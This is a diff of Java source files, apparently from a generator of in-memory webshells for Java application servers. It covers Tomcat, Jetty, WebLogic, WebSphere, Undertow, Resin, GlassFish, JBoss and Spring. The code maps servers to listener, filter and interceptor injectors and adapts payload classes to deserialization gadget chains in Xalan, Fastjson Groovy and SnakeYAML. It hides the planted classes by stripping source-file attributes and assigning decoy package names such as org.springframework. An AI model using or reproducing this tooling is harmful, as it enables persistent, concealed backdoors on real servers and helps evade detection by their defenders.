||||
Random random = new Random();
|
||||
StringBuilder sb = new StringBuilder();
|
||||
int length = random.nextInt(6) + minLength;
|
||||
for (int i = 0; i < length; i++) {
|
||||
char c = (char) (random.nextInt(26) + 'a');
|
||||
if (i == 0) {
|
||||
c = Character.toUpperCase(c);
|
||||
}
|
||||
sb.append(c);
|
||||
}
|
||||
return sb.toString();
|
||||
}
|
||||
|
||||
|
||||
public static String getRandomString(int length) {
|
||||
String str = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
|
||||
SecureRandom random = new SecureRandom();
|
||||
StringBuffer sb = new StringBuffer();
|
||||
for (int i = 0; i < length; i++) {
|
||||
int number = random.nextInt(52);
|
||||
sb.append(str.charAt(number));
|
||||
}
|
||||
return sb.toString();
|
||||
}
|
||||
|
||||
public static String getMd5(String text) throws NoSuchAlgorithmException {
|
||||
MessageDigest md5 = MessageDigest.getInstance("MD5");
|
||||
byte[] bytes = md5.digest(text.getBytes(StandardCharsets.UTF_8));
|
||||
StringBuilder builder = new StringBuilder();
|
||||
for (byte aByte : bytes) {
|
||||
builder.append(Integer.toHexString((0x000000FF & aByte) | 0xFFFFFF00).substring(6));
|
||||
}
|
||||
return builder.toString();
|
||||
}
|
||||
|
||||
public static byte[] gzipCompress(byte[] data) throws IOException {
|
||||
ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||
try (GZIPOutputStream gzip = new GZIPOutputStream(out)) {
|
||||
gzip.write(data);
|
||||
}
|
||||
return out.toByteArray();
|
||||
}
|
||||
|
||||
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
|
||||
ByteArrayInputStream inputStream = new ByteArrayInputStream(compressedData);
|
||||
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||
|
||||
try (GZIPInputStream gzipInputStream = new GZIPInputStream(inputStream)) {
|
||||
byte[] buffer = new byte[1024];
|
||||
int bytesRead;
|
||||
while ((bytesRead = gzipInputStream.read(buffer)) != -1) {
|
||||
outputStream.write(buffer, 0, bytesRead);
|
||||
}
|
||||
}
|
||||
|
||||
return outputStream.toByteArray();
|
||||
}
|
||||
|
||||
|
||||
public static byte[] getFileBytes(String file) throws Exception {
|
||||
File f = new File(file);
|
||||
int length = (int) f.length();
|
||||
byte[] data = new byte[length];
|
||||
(new FileInputStream(f)).read(data);
|
||||
return data;
|
||||
}
|
||||
|
||||
|
||||
public static String getSimpleName(String className) {
|
||||
int lastDotIndex = className.lastIndexOf(".");
|
||||
if (lastDotIndex != -1 && lastDotIndex < className.length() - 1) {
|
||||
return className.substring(lastDotIndex + 1);
|
||||
}
|
||||
return className;
|
||||
}
|
||||
|
||||
|
||||
public static String getFileOutputPath(String format_type, String class_simple_name, String output_path) {
|
||||
String file_output_path = null;
|
||||
|
||||
String fileSeparator = File.separator;
|
||||
File file = new File(output_path);
|
||||
if (output_path.endsWith(".class") || output_path.endsWith(".jar") || output_path.endsWith(".jsp")) {
|
||||
output_path = file.getParent();
|
||||
|
||||
}
|
||||
String[] parts = output_path.split(Pattern.quote(fileSeparator));
|
||||
boolean isFilePath = false; // 添加标记用于判断是否为文件路径
|
||||
for (String part : parts) {
|
||||
if (part.contains(".")) {
|
||||
isFilePath = true;
|
||||
break;
|
||||
} else {
|
||||
if (!output_path.endsWith(fileSeparator)) {
|
||||
output_path = output_path + fileSeparator;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (isFilePath) { // 如果是文件路径直接返回
|
||||
File parentDir = file.getParentFile();
|
||||
if (!parentDir.exists()) {
|
||||
parentDir.mkdirs();
|
||||
}
|
||||
return file.getAbsolutePath();
|
||||
}
|
||||
|
||||
File dir = new File(output_path);
|
||||
if (!dir.exists() || !dir.isDirectory()) {
|
||||
dir.mkdirs();
|
||||
}
|
||||
|
||||
// 判断输出格式
|
||||
switch (format_type) {
|
||||
case Constants.FORMAT_CLASS:
|
||||
file_output_path = output_path + class_simple_name + ".class";
|
||||
break;
|
||||
case Constants.FORMAT_JAR:
|
||||
case Constants.FORMAT_JAR_AGENT:
|
||||
file_output_path = output_path + class_simple_name + ".jar";
|
||||
break;
|
||||
case Constants.FORMAT_JSP:
|
||||
file_output_path = output_path + class_simple_name + ".jsp";
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
return file_output_path;
|
||||
}
|
||||
|
||||
|
||||
public static void transformToFile(AbstractConfig config) throws Throwable {
|
||||
config.setSavePath(getFileOutputPath(config.getOutputFormat(), config.getInjectorSimpleClassName(), config.getSavePath()));
|
||||
jMGCodeApi codeApi = new jMGCodeApi(config);
|
||||
FileUtil.writeFile(config.getSavePath(), codeApi.generate());
|
||||
}
|
||||
|
||||
// base64/bcel/js/biginteger
|
||||
public static String transformTotext(AbstractConfig config) throws Throwable {
|
||||
jMGCodeApi codeApi = new jMGCodeApi(config);
|
||||
return new String(codeApi.generate());
|
||||
}
|
||||
|
||||
public static String getThrowableStackTrace(Throwable t) {
|
||||
StringWriter stringWriter = new StringWriter();
|
||||
PrintWriter printWriter = new PrintWriter(stringWriter);
|
||||
t.printStackTrace(printWriter);
|
||||
return stringWriter.toString();
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,67 @@
|
||||
package jmg.core.util;
|
||||
|
||||
import javassist.ClassPool;
|
||||
import javassist.CtClass;
|
||||
import jmg.core.config.AbstractConfig;
|
||||
import jmg.core.config.Constants;
|
||||
|
||||
/**
|
||||
* 专项漏洞的处理
|
||||
*/
|
||||
public class CtClassUtil {
|
||||
private AbstractConfig config;
|
||||
private ClassPool pool;
|
||||
private CtClass ctClass;
|
||||
|
||||
public CtClassUtil(AbstractConfig config, ClassPool pool, CtClass ctClass) {
|
||||
this.config = config;
|
||||
this.pool = pool;
|
||||
this.ctClass = ctClass;
|
||||
}
|
||||
|
||||
|
||||
public byte[] modifyForExploitation() throws Exception {
|
||||
if (config.getGadgetType() != null) {
|
||||
if (config.getGadgetType().equals(Constants.GADGET_JDK_TRANSLET)) {
|
||||
applyJDKAbstractTranslet();
|
||||
}
|
||||
if (config.getGadgetType().equals(Constants.GADGET_XALAN_TRANSLET)) {
|
||||
applyXALANAbstractTranslet();
|
||||
}
|
||||
|
||||
if (config.getGadgetType().equals(Constants.GADGET_FJ_GROOVY)) {
|
||||
applyFastjsonGroovyASTTransformation();
|
||||
}
|
||||
if (config.getGadgetType().equals(Constants.GADGET_SNAKEYAML)) {
|
||||
applySnakeYamlScriptEngineFactory();
|
||||
}
|
||||
}
|
||||
return ctClass.toBytecode();
|
||||
}
|
||||
|
||||
|
||||
public void applyJDKAbstractTranslet() throws Exception {
|
||||
JavassistUtil.extendClass(ctClass, "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
|
||||
}
|
||||
|
||||
public void applyXALANAbstractTranslet() {
|
||||
try {
|
||||
JavassistUtil.extendClass(ctClass, "org.apache.xalan.xsltc.runtime.AbstractTranslet");
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
}
|
||||
|
||||
// Fastjson Groovy loadJar 的利用需要实现 ASTTransformation 接口
|
||||
public void applyFastjsonGroovyASTTransformation() throws Exception {
|
||||
config.setImplementsASTTransformationType(true);
|
||||
JavassistUtil.implementInterface(ctClass,"org.codehaus.groovy.transform.ASTTransformation");
|
||||
JavassistUtil.addAnnotation(ctClass, "org.codehaus.groovy.transform.GroovyASTTransformation");
|
||||
}
|
||||
|
||||
// snakeyaml loadJar 的利用需要实现 ScriptEngineFactory 接口
|
||||
public void applySnakeYamlScriptEngineFactory() throws Exception {
|
||||
config.setImplementsScriptEngineFactory(true);
|
||||
JavassistUtil.addAnnotation(ctClass, "javax.script.ScriptEngineFactory");
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,108 @@
|
||||
package jmg.core.util;
|
||||
|
||||
|
||||
import jmg.core.config.Constants;
|
||||
import jmg.core.template.*;
|
||||
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
public class InjectorUtil {
|
||||
|
||||
private static final Map<String, String> INJECTOR_CLASSNAME_MAP = new HashMap();
|
||||
private static final Map<String, Map<String, String>> classMap = new HashMap();
|
||||
|
||||
|
||||
public InjectorUtil() {
|
||||
}
|
||||
|
||||
public static String getInjectorName(String serverType, String shellType) {
|
||||
Map<String, String> injectorMap = (Map) classMap.get(serverType);
|
||||
return injectorMap == null ? "" : injectorMap.getOrDefault(shellType, "");
|
||||
}
|
||||
|
||||
public static String getInjectorClassName(String injectorName) throws Exception {
|
||||
if (INJECTOR_CLASSNAME_MAP.get(injectorName) == null) {
|
||||
throw new Exception("Invalid injector type '" + injectorName + "'");
|
||||
} else {
|
||||
return INJECTOR_CLASSNAME_MAP.getOrDefault(injectorName, "");
|
||||
}
|
||||
}
|
||||
|
||||
static {
|
||||
|
||||
|
||||
INJECTOR_CLASSNAME_MAP.put("GlassfishListenerInjector", GlassFishListenerInjectorTpl.class.getName());
|
||||
INJECTOR_CLASSNAME_MAP.put("GlassfishFilterInjector", GlassFishFilterInjectorTpl.class.getName());
|
||||
Map<String, String> glassfishMap = new HashMap();
|
||||
glassfishMap.put(Constants.SHELL_LISTENER, "GlassfishListenerInjector");
|
||||
glassfishMap.put(Constants.SHELL_FILTER, "GlassfishFilterInjector");
|
||||
classMap.put(Constants.SERVER_GLASSFISH, glassfishMap);
|
||||
|
||||
INJECTOR_CLASSNAME_MAP.put("JettyListenerInjector", JettyListenerInjectorTpl.class.getName());
|
||||
INJECTOR_CLASSNAME_MAP.put("JettyFilterInjector", JettyFilterInjectorTpl.class.getName());
|
||||
Map<String, String> jettyMap = new HashMap();
|
||||
jettyMap.put(Constants.SHELL_LISTENER, "JettyListenerInjector");
|
||||
jettyMap.put(Constants.SHELL_FILTER, "JettyFilterInjector");
|
||||
classMap.put(Constants.SERVER_JETTY, jettyMap);
|
||||
|
||||
|
||||
INJECTOR_CLASSNAME_MAP.put("ResinListenerInjector", ResinListenerInjectorTpl.class.getName());
|
||||
INJECTOR_CLASSNAME_MAP.put("ResinFilterInjector", ResinFilterInjectorTpl.class.getName());
|
||||
Map<String, String> resinMap = new HashMap();
|
||||
resinMap.put(Constants.SHELL_LISTENER, "ResinListenerInjector");
|
||||
resinMap.put(Constants.SHELL_FILTER, "ResinFilterInjector");
|
||||
classMap.put(Constants.SERVER_RESIN, resinMap);
|
||||
|
||||
INJECTOR_CLASSNAME_MAP.put("TomcatListenerInjector", TomcatListenerInjectorTpl.class.getName());
|
||||
INJECTOR_CLASSNAME_MAP.put("TomcatFilterInjector", TomcatFilterInjectorTpl.class.getName());
|
||||
Map<String, String> tomcatMap = new HashMap();
|
||||
tomcatMap.put(Constants.SHELL_LISTENER, "TomcatListenerInjector");
|
||||
tomcatMap.put(Constants.SHELL_FILTER, "TomcatFilterInjector");
|
||||
classMap.put(Constants.SERVER_TOMCAT, tomcatMap);
|
||||
|
||||
|
||||
INJECTOR_CLASSNAME_MAP.put("UndertowListenerInjector", UndertowListenerInjectorTpl.class.getName());
|
||||
INJECTOR_CLASSNAME_MAP.put("UndertowFilterInjector", UndertowFilterInjectorTpl.class.getName());
|
||||
Map<String, String> undertowMap = new HashMap();
|
||||
undertowMap.put(Constants.SHELL_LISTENER, "UndertowListenerInjector");
|
||||
undertowMap.put(Constants.SHELL_FILTER, "UndertowFilterInjector");
|
||||
classMap.put(Constants.SERVER_UNDERTOW, undertowMap);
|
||||
|
||||
INJECTOR_CLASSNAME_MAP.put("WebLogicListenerInjector", WebLogicListenerInjectorTpl.class.getName());
|
||||
INJECTOR_CLASSNAME_MAP.put("WebLogicFilterInjector", WebLogicFilterInjectorTpl.class.getName());
|
||||
Map<String, String> weblogicMap = new HashMap();
|
||||
weblogicMap.put(Constants.SHELL_LISTENER, "WebLogicListenerInjector");
|
||||
weblogicMap.put(Constants.SHELL_FILTER, "WebLogicFilterInjector");
|
||||
classMap.put(Constants.SERVER_WEBLOGIC, weblogicMap);
|
||||
|
||||
INJECTOR_CLASSNAME_MAP.put("WebSphereListenerInjector", WebSphereListenerInjectorTpl.class.getName());
|
||||
INJECTOR_CLASSNAME_MAP.put("WebSphereFilterInjector", WebSphereFilterInjectorTpl.class.getName());
|
||||
Map<String, String> websphereMap = new HashMap();
|
||||
websphereMap.put(Constants.SHELL_LISTENER, "WebSphereListenerInjector");
|
||||
websphereMap.put(Constants.SHELL_FILTER, "WebSphereFilterInjector");
|
||||
classMap.put(Constants.SERVER_WEBSPHERE, websphereMap);
|
||||
|
||||
INJECTOR_CLASSNAME_MAP.put("JBossListenerInjector", TomcatListenerInjectorTpl.class.getName());
|
||||
INJECTOR_CLASSNAME_MAP.put("JBossFilterInjector", TomcatFilterInjectorTpl.class.getName());
|
||||
Map<String, String> jbossMap = new HashMap();
|
||||
jbossMap.put(Constants.SHELL_LISTENER, "JBossListenerInjector");
|
||||
jbossMap.put(Constants.SHELL_FILTER, "JBossFilterInjector");
|
||||
classMap.put(Constants.SERVER_JBOSS, jbossMap);
|
||||
|
||||
|
||||
INJECTOR_CLASSNAME_MAP.put("SpringMVCInterceptorInjector", SpringMVCInterceptorInjectorTpl.class.getName());
|
||||
Map<String, String> springMVCMap = new HashMap();
|
||||
springMVCMap.put(Constants.SHELL_INTERCEPTOR, "SpringMVCInterceptorInjector");
|
||||
classMap.put(Constants.SERVER_SPRING_MVC, springMVCMap);
|
||||
|
||||
|
||||
INJECTOR_CLASSNAME_MAP.put("SpringWebFluxHandlerMethodInjector", SpringWebFluxHandlerMethodInjectorTpl.class.getName());
|
||||
Map<String, String> springWebFluxMap = new HashMap();
|
||||
springWebFluxMap.put(Constants.SHELL_WF_HANDLERMETHOD, "SpringWebFluxHandlerMethodInjector");
|
||||
classMap.put(Constants.SERVER_SPRING_WEBFLUX, springWebFluxMap);
|
||||
|
||||
|
||||
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,167 @@
|
||||
package jmg.core.util;
|
||||
|
||||
import javassist.*;
|
||||
import javassist.bytecode.*;
|
||||
import javassist.bytecode.annotation.Annotation;
|
||||
|
||||
import java.util.List;
|
||||
|
||||
/**
|
||||
* javassist 工具类
|
||||
*/
|
||||
public class JavassistUtil {
|
||||
|
||||
private static ClassPool pool = ClassPool.getDefault();
|
||||
|
||||
public static void addMethod(CtClass ctClass, String methodName, String methodBody) throws Exception {
|
||||
ctClass.defrost();
|
||||
try {
|
||||
// 已存在,修改
|
||||
CtMethod ctMethod = ctClass.getDeclaredMethod(methodName);
|
||||
ctMethod.setBody(methodBody);
|
||||
} catch (NotFoundException ignored) {
|
||||
// 不存在,直接添加
|
||||
CtMethod method = CtNewMethod.make(methodBody, ctClass);
|
||||
ctClass.addMethod(method);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
public static void addField(CtClass ctClass, String fieldName, String fieldValue) throws Exception {
|
||||
ctClass.defrost();
|
||||
try {
|
||||
// 已存在,删除
|
||||
CtField field = ctClass.getDeclaredField(fieldName);
|
||||
ctClass.removeField(field);
|
||||
// ctClass.addField(CtField.make(String.format("private static String %s = \"%s\";", fieldName, fieldValue), ctClass));
|
||||
try {
|
||||
CtField defField = new CtField(pool.getCtClass("java.lang.String"), fieldName, ctClass);
|
||||
defField.setModifiers(Modifier.PUBLIC);
|
||||
ctClass.addField(defField, "\"" + fieldValue + "\"");
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
|
||||
} catch (NotFoundException ignored) {
|
||||
// // 不存在,直接添加
|
||||
// ctClass.addField(CtField.make(String.format("private static String %s = \"%s\";", fieldName, fieldValue), ctClass));
|
||||
|
||||
try {
|
||||
CtField defField = new CtField(pool.getCtClass("java.lang.String"), fieldName, ctClass);
|
||||
defField.setModifiers(Modifier.STATIC);
|
||||
ctClass.addField(defField, "\"" + fieldValue + "\"");
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static void addStaticField(CtClass ctClass, String fieldName, String fieldValue) throws Exception {
|
||||
ctClass.defrost();
|
||||
try {
|
||||
// 已存在,删除
|
||||
CtField field = ctClass.getDeclaredField(fieldName);
|
||||
ctClass.removeField(field);
|
||||
// ctClass.addField(CtField.make(String.format("private static String %s = \"%s\";", fieldName, fieldValue), ctClass));
|
||||
try {
|
||||
CtField defField = new CtField(pool.getCtClass("java.lang.String"), fieldName, ctClass);
|
||||
defField.setModifiers(Modifier.PUBLIC);
|
||||
defField.setModifiers(Modifier.STATIC);
|
||||
ctClass.addField(defField, "\"" + fieldValue + "\"");
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
|
||||
} catch (NotFoundException ignored) {
|
||||
// // 不存在,直接添加
|
||||
// ctClass.addField(CtField.make(String.format("private static String %s = \"%s\";", fieldName, fieldValue), ctClass));
|
||||
|
||||
try {
|
||||
CtField defField = new CtField(pool.getCtClass("java.lang.String"), fieldName, ctClass);
|
||||
defField.setModifiers(Modifier.STATIC);
|
||||
ctClass.addField(defField, "\"" + fieldValue + "\"");
|
||||
} catch (Exception e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
public static void extendClass(CtClass ctClass, String superClassName) throws Exception {
|
||||
ctClass.defrost();
|
||||
CtClass interfaceClass = pool.makeClass(superClassName);
|
||||
ctClass.setSuperclass(pool.get(interfaceClass.getName()));
|
||||
}
|
||||
|
||||
public static void implementInterface(CtClass ctClass, String interfaceClassName) throws Exception {
|
||||
ctClass.defrost();
|
||||
|
||||
CtClass interfaceClass = pool.makeInterface(interfaceClassName);
|
||||
CtClass[] ctClasses = new CtClass[]{interfaceClass};
|
||||
ctClass.setInterfaces(ctClasses);
|
||||
}
|
||||
|
||||
|
||||
public static void addAnnotation(CtClass ctClass, String interfaceClassName) throws Exception {
|
||||
ctClass.defrost();
|
||||
ClassFile classFile = ctClass.getClassFile();
|
||||
ConstPool constPool = classFile.getConstPool();
|
||||
AnnotationsAttribute clazzAnnotationsAttribute = new AnnotationsAttribute(constPool, AnnotationsAttribute.visibleTag);
|
||||
Annotation clazzAnnotation = new Annotation(convertClassNameToFilePath(interfaceClassName), constPool);
|
||||
clazzAnnotationsAttribute.setAnnotation(clazzAnnotation);
|
||||
ctClass.getClassFile().addAttribute(clazzAnnotationsAttribute);
|
||||
}
|
||||
|
||||
|
||||
// 删除内存马 SourceFileAttribute (源文件名) 信息
|
||||
public static void removeSourceFileAttribute(CtClass ctClass) {
|
||||
ctClass.defrost();
|
||||
ClassFile classFile = ctClass.getClassFile2();
|
||||
|
||||
try {
|
||||
// javassist.bytecode.ClassFile.removeAttribute Since: 3.21
|
||||
CommonUtil.invokeMethod(classFile, "removeAttribute", new Class[]{String.class}, new Object[]{SourceFileAttribute.tag});
|
||||
} catch (Exception e) {
|
||||
try {
|
||||
// 兼容 javassist v3.20 及以下
|
||||
List<AttributeInfo> attributes = (List<AttributeInfo>) CommonUtil.getFV(classFile, "attributes");
|
||||
removeAttribute(attributes, SourceFileAttribute.tag);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
public static synchronized AttributeInfo removeAttribute(List<AttributeInfo> attributes, String name) {
|
||||
if (attributes == null) return null;
|
||||
|
||||
for (AttributeInfo ai : attributes)
|
||||
if (ai.getName().equals(name)) if (attributes.remove(ai)) return ai;
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
|
||||
public static void addFieldIfNotNull(CtClass ctClass, String fieldName, String fieldValue) throws Exception {
|
||||
if (fieldValue != null) {
|
||||
JavassistUtil.addField(ctClass, fieldName, fieldValue);
|
||||
}
|
||||
}
|
||||
|
||||
public static void addStaticFieldIfNotNull(CtClass ctClass, String fieldName, String fieldValue) throws Exception {
|
||||
if (fieldValue != null) {
|
||||
JavassistUtil.addStaticField(ctClass, fieldName, fieldValue);
|
||||
}
|
||||
}
|
||||
|
||||
public static void setNameIfNotNull(CtClass ctClass, String className) throws Exception {
|
||||
if (className != null) {
|
||||
ctClass.setName(className);
|
||||
}
|
||||
}
|
||||
|
||||
public static String convertClassNameToFilePath(String className) {
|
||||
return className.replace(".", "/");
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,30 @@
|
||||
package jmg.core.util;
|
||||
|
||||
import java.util.Random;
|
||||
|
||||
public class PackageNameUtil {
|
||||
|
||||
private static final String[] packageNames = {
|
||||
"org.springframework",
|
||||
"org.apache.commons",
|
||||
"org.apache.logging",
|
||||
"org.apache",
|
||||
"com.fasterxml.jackson",
|
||||
"org.junit",
|
||||
"org.apache.commons.lang",
|
||||
"org.apache.http.client",
|
||||
"com.google.gso",
|
||||
"ch.qos.logback"
|
||||
};
|
||||
|
||||
public static String generatePackageName() {
|
||||
Random random = new Random();
|
||||
String packageName = packageNames[random.nextInt(packageNames.length)];
|
||||
return packageName;
|
||||
}
|
||||
|
||||
|
||||
public static String getRandomPackageName() {
|
||||
return generatePackageName();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,37 @@
|
||||
package jmg.core.util;
|
||||
|
||||
import java.util.AbstractMap;
|
||||
import java.util.Map;
|
||||
import java.util.Random;
|
||||
|
||||
|
||||
public class RandomHttpHeaderUtil {
|
||||
|
||||
private static final Random RANDOM = new Random();
|
||||
|
||||
public static Map.Entry<String, String> generateHeader() {
|
||||
String key = generateRandomKey();
|
||||
String value = generateRandomValue(key);
|
||||
return new AbstractMap.SimpleEntry<>(key, value);
|
||||
}
|
||||
|
||||
private static String generateRandomKey() {
|
||||
String[] keys = {"Referer","User-Agent"};
|
||||
return keys[RANDOM.nextInt(keys.length)];
|
||||
}
|
||||
|
||||
private static String generateRandomValue(String key) {
|
||||
switch (key) {
|
||||
case "Referer":
|
||||
case "User-Agent":
|
||||
return generateRandomValue();
|
||||
default:
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
private static String generateRandomValue() {
|
||||
return CommonUtil.genRandomLengthString(4);
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,75 @@
|
||||
package jmg.core.util;
|
||||
|
||||
import java.util.HashMap;
|
||||
import java.util.Map;
|
||||
|
||||
|
||||
public class ResponseUtil {
|
||||
|
||||
private static final Map<String, String> METHOD_BODY_MAP = new HashMap<>();
|
||||
|
||||
static {
|
||||
METHOD_BODY_MAP.put("tomcat", getCommonMethodBody());
|
||||
METHOD_BODY_MAP.put("weblogic", getCommonMethodBody());
|
||||
METHOD_BODY_MAP.put("glassfish", getCommonMethodBody());
|
||||
METHOD_BODY_MAP.put("resin", getResinMethodBody());
|
||||
METHOD_BODY_MAP.put("jetty", getJettyMethodBody());
|
||||
METHOD_BODY_MAP.put("websphere", getWebsphereMethodBody());
|
||||
METHOD_BODY_MAP.put("undertow", getUndertowMethodBody());
|
||||
}
|
||||
|
||||
public static String getMethodBody(String serverType) {
|
||||
return METHOD_BODY_MAP.getOrDefault(serverType.toLowerCase(), "");
|
||||
}
|
||||
|
||||
private static String getCommonMethodBody() {
|
||||
return "{javax.servlet.http.HttpServletResponse response = null;" +
|
||||
" try {" +
|
||||
" response = (javax.servlet.http.HttpServletResponse) getFV(getFV($1, \"request\"), \"response\");" +
|
||||
" } catch (Exception ex) {" +
|
||||
" try {" +
|
||||
" response = (javax.servlet.http.HttpServletResponse) getFV($1, \"response\");" +
|
||||
" } catch (Exception ex1) {" +
|
||||
" }" +
|
||||
" }" +
|
||||
" return response;}";
|
||||
}
|
||||
|
||||
private static String getResinMethodBody() {
|
||||
return "{javax.servlet.http.HttpServletResponse response;" +
|
||||
" response = (javax.servlet.http.HttpServletResponse) getFV($1, \"_response\");" +
|
||||
" return response;}";
|
||||
}
|
||||
|
||||
private static String getJettyMethodBody() {
|
||||
return "{javax.servlet.http.HttpServletResponse response;\n" +
|
||||
" try{\n" +
|
||||
" response = (javax.servlet.http.HttpServletResponse) getFV(getFV($1,\"_channel\"),\"_response\");\n" +
|
||||
" }catch (Exception e){\n" +
|
||||
" response = (javax.servlet.http.HttpServletResponse) getFV(getFV($1,\"_connection\"),\"_response\");\n" +
|
||||
" }\n" +
|
||||
" return response;}";
|
||||
}
|
||||
|
||||
private static String getWebsphereMethodBody() {
|
||||
return "{javax.servlet.http.HttpServletResponse response;" +
|
||||
" response = (javax.servlet.http.HttpServletResponse) getFV(getFV($1, \"_connContext\"), \"_response\");" +
|
||||
" return response;}";
|
||||
}
|
||||
|
||||
|
||||
private static String getUndertowMethodBody() {
|
||||
return "{javax.servlet.http.HttpServletResponse response = null;\n" +
|
||||
"java.util.Map map = (java.util.Map) getFV(getFV($1, \"exchange\"), \"attachments\");\n" +
|
||||
"Object[] keys = map.keySet().toArray();\n" +
|
||||
"for (int i = 0; i < keys.length; i++) {\n" +
|
||||
" Object key = keys[i];\n" +
|
||||
" if (map.get(key).toString().contains(\"ServletRequestContext\")) {\n" +
|
||||
" response = (javax.servlet.http.HttpServletResponse) getFV(map.get(key), \"servletResponse\");\n" +
|
||||
" break;\n" +
|
||||
" }\n" +
|
||||
"}\n" +
|
||||
"return response;}";
|
||||
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,4 @@
|
||||
package org.springframework.web.servlet;
|
||||
|
||||
public interface AsyncHandlerInterceptor {
|
||||
}
|
||||
Binary file not shown.
Reference in New Issue
Block a user